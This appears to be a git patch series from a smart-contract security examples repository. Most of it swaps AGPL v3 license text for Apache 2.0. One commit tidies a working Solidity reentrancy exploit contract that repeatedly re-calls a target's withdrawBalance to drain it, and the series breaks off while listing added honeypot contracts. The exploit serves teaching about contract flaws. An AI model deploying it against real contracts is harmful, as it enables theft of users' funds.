other kinds of works, specifically designed to ensure -cooperation with the community in the case of network server software. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -our General Public Licenses are intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - Developers that use our General Public Licenses protect your rights -with two steps: (1) assert copyright on the software, and (2) offer -you this License which gives you legal permission to copy, distribute -and/or modify the software. - - A secondary benefit of defending all users' freedom is that -improvements made in alternate versions of the program, if they -receive widespread use, become available for other developers to -incorporate. Many developers of free software are heartened and -encouraged by the resulting cooperation. However, in the case of -software used on network servers, this result may fail to come about. -The GNU General Public License permits making a modified version and -letting the public access it on a server without ever releasing its -source code to the public. - - The GNU Affero General Public License is designed specifically to -ensure that, in such cases, the modified source code becomes available -to the community. It requires the operator of a network server to -provide the source code of the modified version running there to the -users of that server. Therefore, public use of a modified version, on -a publicly accessible server, gives the public access to the source -code of the modified version. - - An older license, called the Affero General Public License and -published by Affero, was designed to accomplish similar goals. This is -a different license, not a version of the Affero GPL, but Affero has -released a new version of the Affero GPL which permits relicensing under -this license. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU Affero General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Remote Network Interaction; Use with the GNU General Public License. - - Notwithstanding any other provision of this License, if you modify the -Program, your modified version must prominently offer all users -interacting with it remotely through a computer network (if your version -supports such interaction) an opportunity to receive the Corresponding -Source of your version by providing access to the Corresponding Source -from a network server at no charge, through some standard or customary -means of facilitating copying of software. This Corresponding Source -shall include the Corresponding Source for any work covered by version 3 -of the GNU General Public License that is incorporated pursuant to the -following paragraph. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the work with which it is combined will remain governed by version -3 of the GNU General Public License. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU Affero General Public License from time to time. Such new versions -will be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU Affero General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU Affero General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU Affero General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU Affero General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Affero General Public License for more details. - - You should have received a copy of the GNU Affero General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If your software can interact with users remotely through a computer -network, you should also make sure that it provides a way for users to -get its source. For example, if your program is a web application, its -interface could display a "Source" link that leads users to an archive -of the code. There are many ways you could offer source, and different -solutions will be better for different programs; see section 13 for the -specific requirements. - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU AGPL, see -. + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "{}" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright {yyyy} {name of copyright owner} + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. From c2563305ebe25e42329a6810b49736e4143805e2 Mon Sep 17 00:00:00 2001 From: Josselin Date: Tue, 6 Mar 2018 15:54:47 -0500 Subject: [PATCH 16/73] Clean reentrancy exploit --- reentrancy/ReentrancyExploit.sol | 17 +++++++---------- 1 file changed, 7 insertions(+), 10 deletions(-) diff --git a/reentrancy/ReentrancyExploit.sol b/reentrancy/ReentrancyExploit.sol index 160c8535..9a9ae1ef 100644 --- a/reentrancy/ReentrancyExploit.sol +++ b/reentrancy/ReentrancyExploit.sol @@ -2,36 +2,33 @@ pragma solidity ^0.4.15; contract ReentranceExploit { bool public attackModeIsOn=false; - int public was_here=0; - int public and_here=0; - int public depook=0; address public vulnerable_contract; address public owner; - function ReentranceExploit(){ + function ReentranceExploit() public{ owner = msg.sender; } - function deposit(address _vulnerable_contract) payable{ + function deposit(address _vulnerable_contract) public payable{ vulnerable_contract = _vulnerable_contract ; // call addToBalance with msg.value ethers - vulnerable_contract.call.value(msg.value)(bytes4(sha3("addToBalance()"))); + require(vulnerable_contract.call.value(msg.value)(bytes4(sha3("addToBalance()")))); } - function launch_attack(){ + function launch_attack() public{ attackModeIsOn = true; // call withdrawBalance // withdrawBalance calls the fallback of ReentranceExploit - vulnerable_contract.call(bytes4(sha3("withdrawBalance()"))); + require(vulnerable_contract.call(bytes4(sha3("withdrawBalance()")))); } - function () payable{ + function () public payable{ // atackModeIsOn is used to execute the attack only once // otherwise there is a loop between withdrawBalance and the fallback function if (attackModeIsOn){ attackModeIsOn = false; - vulnerable_contract.call(bytes4(sha3("withdrawBalance()"))); + require(vulnerable_contract.call(bytes4(sha3("withdrawBalance()")))); } } From 0e6689298d84e2c29af1877cc9422df1eb9b3974 Mon Sep 17 00:00:00 2001 From: bohendo Date: Mon, 2 Apr 2018 14:38:01 -0400 Subject: [PATCH 17/73] Added honeypot examples --- honeypots/GiftBox/GiftBox.sol | 68 ++++++++++++++++ honeypots/GiftBox/README.md | 6 ++ honeypots/KOTH/KOTH.sol | 31 ++++++++ honeypots/KOTH/README.md | 5 ++ honeypots/Lottery/Lottery.sol | 97 +++++++++++++++++++++++ honeypots/Lottery/README.md | 5 ++ honeypots/Multiplicator/Multiplicator.sol | 26 ++++++ honeypots/Multiplicator/README.md | 5 ++ honeypots/PrivateBank/PrivateBank.sol | 68 ++++++++++++++++ honeypots/PrivateBank/README.md | 5 ++ honeypots/README.md | 12 +++ honeypots/VarLoop/README.md | 5 ++ honeypots/VarLoop/VarLoop.sol | 39 +++++++++ 13 files changed, 372 insertions(+) create mode 100644 honeypots/GiftBox/GiftBox.sol create mode 100644 honeypots/GiftBox/README.md create mode 100644 